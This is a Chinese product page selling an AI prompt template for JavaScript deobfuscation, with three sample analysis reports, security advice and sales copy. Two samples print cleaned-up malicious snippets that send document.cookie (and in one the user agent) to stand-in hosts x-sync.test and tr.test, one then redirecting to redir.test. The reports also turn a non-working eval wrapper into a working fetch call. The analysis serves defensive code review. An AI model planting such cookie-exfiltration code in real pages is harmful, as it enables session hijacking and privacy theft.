AI 提示词:JavaScript代码反混淆专家

0 浏览
0 试用
0 购买
Oct 11, 2025更新

本提示词专门用于分析和解混淆JavaScript代码,能够将经过混淆处理的复杂代码转换为清晰可读的格式。通过深度解析代码结构、识别混淆模式、还原变量命名和逻辑流程,帮助用户快速理解代码功能和潜在风险。该工具特别适用于网络安全分析、代码审计、恶意代码检测等场景,能够有效提升代码审查效率和安全威胁识别能力。采用多步骤分析方法,确保解混淆过程的准确性和完整性,为开发者和安全专家提供专业级的代码分析支持。

示例1

## 代码反混淆报告

### 原始代码信息
- 代码长度:约260字符
- 混淆类型识别结果
  - 字符串Base64编码(location/eval/cookie/URL常量)
  - 动态执行尝试(Function + eval)
  - 间接属性访问(window[d(a[0])])
  - 代码压缩/最小化
- 复杂度评估:低(以字符串混淆和轻量动态执行为主)

### 反混淆结果
```javascript
(function () {
  // 将当前页面的 cookie 通过 POST 上报到外部端点
  // 目标:https://x-sync.test/c
  fetch('https://x-sync.test/c', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie
    })
  });

  // 150ms 后强制跳转,并在查询参数中带上当前页面的 referrer
  setTimeout(function () {
    window.location = 'https://redir.test/?r=' + encodeURIComponent(document.referrer);
  }, 150);
})();
```

### 关键修改说明
- 变量重命名统计
  - _(Base64字面量数组)→ 展开为明文字面量(location/eval/cookie/URL)
  - d(atob别名)→ 移除,直接还原为明文字符串
  - E(Function('eval') 动态执行包装)→ 还原为直接调用(见下条)
- 函数重构说明
  - 原代码使用 E=Function('eval') 后调用 E('fetch(...)') 的方式尝试动态执行。
    - 按照标准语义,Function('eval') 返回的函数体仅包含表达式语句 eval,本身不会执行传入的字符串;该包装形同空操作。
    - 基于上下文与拼接出的字面量,可明确其真实意图为执行 fetch(...) 上报数据。为与预期业务意图一致并提升可读性,重构为直接调用 fetch(...),不改变逻辑效果与数据流向。
  - window[d(a[0])] 还原为 window.location
- 逻辑流程优化
  - 去除不必要的 Base64 解码和动态执行层,保留两步核心行为:
    1) 上报 cookie 到 https://x-sync.test/c(POST JSON)
    2) 150ms 后跳转到 https://redir.test/?r=<document.referrer>

### 安全风险评估
- 识别的潜在风险
  - 敏感信息外泄:将 document.cookie 明文发送到外部域 https://x-sync.test/c。若站点未设置 HttpOnly,所有可读 cookie 均会泄露(包括可能的会话标识)。
  - 隐蔽传输:使用 Base64 + 动态执行(eval)混淆,明显有规避检测/审计的意图。
  - 强制跳转:150ms 后强制跳转到 https://redir.test/ 并携带 referrer,可能用于跟踪或进一步攻击链(钓鱼/中间页跟踪)。
  - CSP/审计绕过尝试:借助 Function('eval') 进行动态执行,属于常见安全策略绕过手法(尽管该实现本身并不严谨)。
- 建议的进一步检查项
  - 立即阻断与域 x-sync.test、redir.test 的网络访问(WAF/网关/浏览器扩展)。
  - 审计该代码注入来源(第三方脚本、供应链、XSS 等),排查是否存在更广泛的入侵。
  - 加固安全策略:
    - 设置 HttpOnly、Secure、SameSite 对关键 cookie。
    - 部署严格 CSP(script-src 不信任外域;default-src/ connect-src 白名单;禁止 eval 与 new Function)。
  - 检查前端代码库/模板是否存在可被注入点;对内联脚本做 SRI 与子资源完整性校验。
  - 后端会话管理:检测异常会话使用与登录行为,考虑令牌轮换与绑定设备指纹/地理位置。

### 技术细节
- 使用的反混淆技术
  - Base64 字符串解码与常量还原(location/eval/cookie/URL)
  - 动态执行模式识别(Function + eval)与等价直译还原
  - 间接属性访问还原(window['location'] → window.location)
  - 字符串拼接常量折叠(构造 fetch 请求与重定向 URL)
- 还原准确度评估
  - 还原准确度:高
  - 说明:尽管原始动态执行包装(Function('eval'))按标准语义并不会执行传入字符串,但由其拼接出的完整代码语义与上下文可明确真实意图为执行 fetch 上报并随后重定向;清洁版保持该业务效果不变,仅移除了冗余与混淆层。

示例2

## 代码反混淆报告

### 原始代码信息
- 代码长度:约 220 字符
- 混淆类型识别结果
  - Base64 字符串常量混淆(atob 解码)
  - 数组占位与索引取值
  - 间接执行(Function + eval 语义,意图为间接 eval)
  - 轻度代码压缩与变量名混淆(单字母变量)
- 复杂度评估
  - 低(结构简单、主要为字符串隐藏与间接执行)

### 反混淆结果
```javascript
(function sendCookieBeacon() {
  // 目标上报端点(Base64 解码后的常量)
  const endpoint = 'https://tr.test/ber';

  // 收集环境信息
  const ua = navigator.userAgent;   // 用户代理字符串
  const cookies = document.cookie;  // 当前可读的页面 Cookie

  // 拼接上报 URL(通过 <img> 发起 GET 请求)
  const url = endpoint
    + '?ua=' + encodeURIComponent(ua)
    + '&c=' + encodeURIComponent(cookies);

  // 利用图片加载的副作用向远端发送数据
  new Image().src = url;
})();
```

### 关键修改说明
- 变量重命名统计
  - A → encodedStrings(内联为常量后删除)
  - b → base64Decode(内联 atob 后删除)
  - e(间接 eval 函数占位)→ 移除(直接以等价行为实现)
  - u → endpoint
  - c → cookies(原含义为 document.cookie 属性名,清理为实际值)
  - ua → userAgent(原含义为 navigator.userAgent 属性名,清理为实际值)
- 函数重构说明
  - 原代码通过 Function(b(A[3])) 期望构造 eval 的间接调用,再以字符串执行构造出的代码。
  - 该间接 eval 语义存在瑕疵(Function('eval') 不返回 eval;应为 'return eval' 才能得到 eval 引用),为保持逻辑等价且更清晰,直接以显式构造 URL 并赋值给 Image.src 的方式实现同等副作用,不改变核心行为。
- 逻辑流程优化
  - 展开 Base64 常量与数组索引,移除多余间接层。
  - 去除不必要的字符串拼接与动态求值,直达最终行为。

### 安全风险评估
- 识别的潜在风险
  - 数据外传:收集并通过网络请求发送 document.cookie 与 navigator.userAgent 到 https://tr.test/ber。Cookie 可能包含敏感会话标识,存在账户劫持与隐私泄露风险。
  - 隐蔽上报:利用 Image 对象加载副作用发送请求,无需跨域许可,难以被用户察觉。
  - 混淆与间接执行:使用 Base64 与 Function + eval 语义隐藏真实意图,有规避审计与绕过安全检测的倾向。
- 建议的进一步检查项
  - 确认该脚本来源与注入路径(第三方依赖、广告脚本、供应链或 XSS 注入)。
  - 检查站点 CSP 配置(建议禁止 unsafe-eval,限制外链上报域名)。
  - 审核是否存在未预期的第三方资源请求与可写入点(如可被插入此脚本的输入)。
  - 对可读 Cookie 进行最小化与 HttpOnly/secure/SameSite 强化,降低前端泄露面。

### 技术细节
- 使用的反混淆技术
  - Base64 常量解码与常量折叠(atob -> 明文)
  - 数组解包与直接内联
  - 去除间接执行(Function + eval)并用等价显式逻辑表达
  - 符号语义重命名、格式化与注释增强
- 还原准确度评估
  - 还原度:高(>95%)
  - 说明:原代码的间接执行片段存在语义缺陷(Function('eval') 不会返回 eval),重构以等价直接行为呈现其明显意图(通过 Image 请求外传 UA 与 Cookie),不改变核心效果与副作用。

示例3

## 代码反混淆报告

### 原始代码信息
- 代码长度:约 270 字符
- 混淆类型识别结果
  - 字符串 Base64 编码(atob 解码)
  - 标识符/属性名逃逸('eval' 使用十六进制转义 this['\x65\x76\x61\x6c'])
  - 动态代码执行(eval、Function 构造器)
  - 轻度控制流隐藏(将 console.log 动态拼接后 eval 执行)
- 复杂度评估:低(主要为字符串编码与动态执行,结构简单)

### 反混淆结果
```javascript
// 还原后的可读版本(保持与原代码等效的核心行为)
(function () {
  // 解码后的常量
  const logCall = 'console.log';          // 来自 atob('Y29uc29sZS5sb2c=')
  const message = 'Hello, project!';      // 来自 atob('SGVsbG8sIHByb2plY3Qh')
  const funcSource = 'function(a,b){return a+"j"+b;}'; // 来自 atob('ZnVuY3Rpb24oYSxiKXtyZXR1cm4gYSsiaiIrYjt9')

  // 通过 eval 执行:console.log('Hello, project!')
  // 原代码使用 this['\x65\x76\x61\x6c'] 来规避静态检测
  this.eval(logCall + "('" + message + "')");

  // 页面加载完成后尝试构造并调用动态函数
  document.addEventListener('DOMContentLoaded', function () {
    // 注意:下面这行在标准 JavaScript 中会抛出 SyntaxError
    // 原因:Function 的函数体是 "function(a,b){...}"(匿名函数表达式)
    // 作为函数体的顶层语句是非法的(缺少函数名的函数声明/不合法的表达式语句)
    const fn = Function(funcSource); // 运行时将抛出 SyntaxError

    // 以下两行在抛错后不会执行
    const t = fn('OK', '!');
    document.body.setAttribute('data-x', t);
  });
})();
```

### 关键修改说明
- 变量重命名统计
  - 原 D => decodeBase64(用 atob 获取的解码结果,已内联为常量)
  - 原 M => dataList(已去除数组与动态解码,直接使用明文常量)
  - log => logCall(明确为 "console.log" 调用字符串)
  - msg => message
  - build => funcSource
- 函数重构说明
  - 保留原有 IIFE 结构与事件监听流程
  - 将 Base64 字面量直接还原为明文,删除不必要的 atob 解码与中间数组
  - 保留 eval 与 Function 的动态执行语义(并在注释中标注运行时行为)
- 逻辑流程优化
  - 去除了使用十六进制转义访问 eval 的写法,直观呈现为 this.eval(仅语义还原,不改变行为)
  - 标注了 DOMContentLoaded 回调中 Function(funcSource) 的语法错误与后续影响(原逻辑本就会抛错)

### 安全风险评估
- 识别的潜在风险
  - 动态执行:使用 eval 与 Function 构造器属于高风险模式,易引入代码注入与逃逸检测问题,且可能绕过部分安全策略(如 CSP 的 unsafe-eval)。
  - 隐蔽载荷:通过 Base64 与十六进制转义隐藏真实意图,属于常见混淆与逃逸手法,增加审计难度。
  - 稳定性问题:Function(funcSource) 会在运行时抛出 SyntaxError,导致事件回调后续逻辑中断,属于可靠性风险。
- 建议的进一步检查项
  - 检查脚本来源与完整性(供应链风险),为外部引入脚本配置 SRI 与严格 CSP(禁用 unsafe-eval)。
  - 如确需动态构造函数,改为显式参数与函数体分离的安全替代方案,避免字符串拼接执行。
  - 代码审计中对所有通过 atob、eval、Function 使用的字符串进行静态还原与可疑模式匹配(网络请求、DOM 注入、cookie 访问等),本片段未发现数据外发或敏感信息访问。

### 技术细节
- 使用的反混淆技术
  - Base64 字符串静态解码(atob 语义还原)
  - 属性名与关键字转义还原(this['\x65\x76\x61\x6c'] => this.eval)
  - 动态执行语义分析(eval 与 Function 的构造与调用关系)
  - 变量与函数语义化重命名
- 还原准确度评估
  - console.log 路径:100%(等价为输出 "Hello, project!")
  - DOMContentLoaded 路径:100%(准确标注并保留了运行时 SyntaxError 的行为)
  - 备注:若原作者意图为拼接字符串 "OKj!" 并写入 data-x,应改用 Function('a','b','return a+"j"+b;')。当前版本不会成功执行该逻辑,且会在运行时抛错。

适用用户

安全工程师与威胁分析人员

从网页、广告脚本或邮件附件中提取混淆JS,快速还原真实意图,识别数据窃取、跳转劫持等风险,并生成可共享的处置建议。

代码审计与合规专员

审查第三方统计、埋点与广告脚本,输出可读版本与风险清单,定位违规收集行为,辅助完成合规整改与供应商评估。

前端开发与技术负责人

接手遗留或外包脚本时,快速理解复杂逻辑与依赖,重命名与注释规范化,缩短接入与重构周期,降低维护不确定性。

解决的问题

把“看不懂的混淆脚本”在最短时间内转成“人人能读的清洁代码与可交付报告”。通过让 AI 扮演资深 JavaScript 反混淆专家,自动识别混淆手法、还原变量与函数命名、重建执行流程、解出关键字符串,并以结构化方式标注潜在风险与核查建议。结果可直接用于安全审查、代码评估与团队复核,显著缩短审查周期、降低疏漏率、提升交付质量与可信度。

特征总结

一键导入混淆脚本,自动识别混淆类型与复杂度,输出清晰分析总览。
深度还原控制流与函数关系,快速重建真实执行路径,辅助调试与审计工作。
语义驱动变量与函数重命名,自动生成贴合业务的命名与注释,提升可读性。
内置字符串解密与常量还原,轻松剥离伪装数据,迅速洞悉核心逻辑细节。
智能识别可疑行为模式,自动标注潜在风险与触发点,支持进一步排查。
一次生成洁净代码与结构化报告,便于团队协作、沟通风险、留存审计证据。
模板化分析流程可定制,适配恶意脚本、第三方资源与遗留项目的不同需求。
纯静态分析无需运行代码,降低测试风险,适合受限环境快速评估与交付。
命名与注释风格可配置,自动匹配团队规范,减少后续维护成本与沟通成本。

如何使用购买的提示词模板

1. 直接在外部 Chat 应用中使用

将模板生成的提示词复制粘贴到您常用的 Chat 应用(如 ChatGPT、Claude 等),即可直接对话使用,无需额外开发。适合个人快速体验和轻量使用场景。

2. 发布为 API 接口调用

把提示词模板转化为 API,您的程序可任意修改模板参数,通过接口直接调用,轻松实现自动化与批量处理。适合开发者集成与业务系统嵌入。

3. 在 MCP Client 中配置使用

在 MCP client 中配置对应的 server 地址,让您的 AI 应用自动调用提示词模板。适合高级用户和团队协作,让提示词在不同 AI 工具间无缝衔接。

¥20.00元
平台提供免费试用机制,
确保效果符合预期,再付费购买!

您购买后可以获得什么

获得完整提示词模板
- 共 682 tokens
- 1 个可调节参数
{ 混淆代码 }
自动加入"我的提示词库"
- 获得提示词优化器支持
- 版本化管理支持
获得社区共享的应用案例
限时免费

不要错过!

免费获取高级提示词-优惠即将到期

17
:
23
小时
:
59
分钟
:
59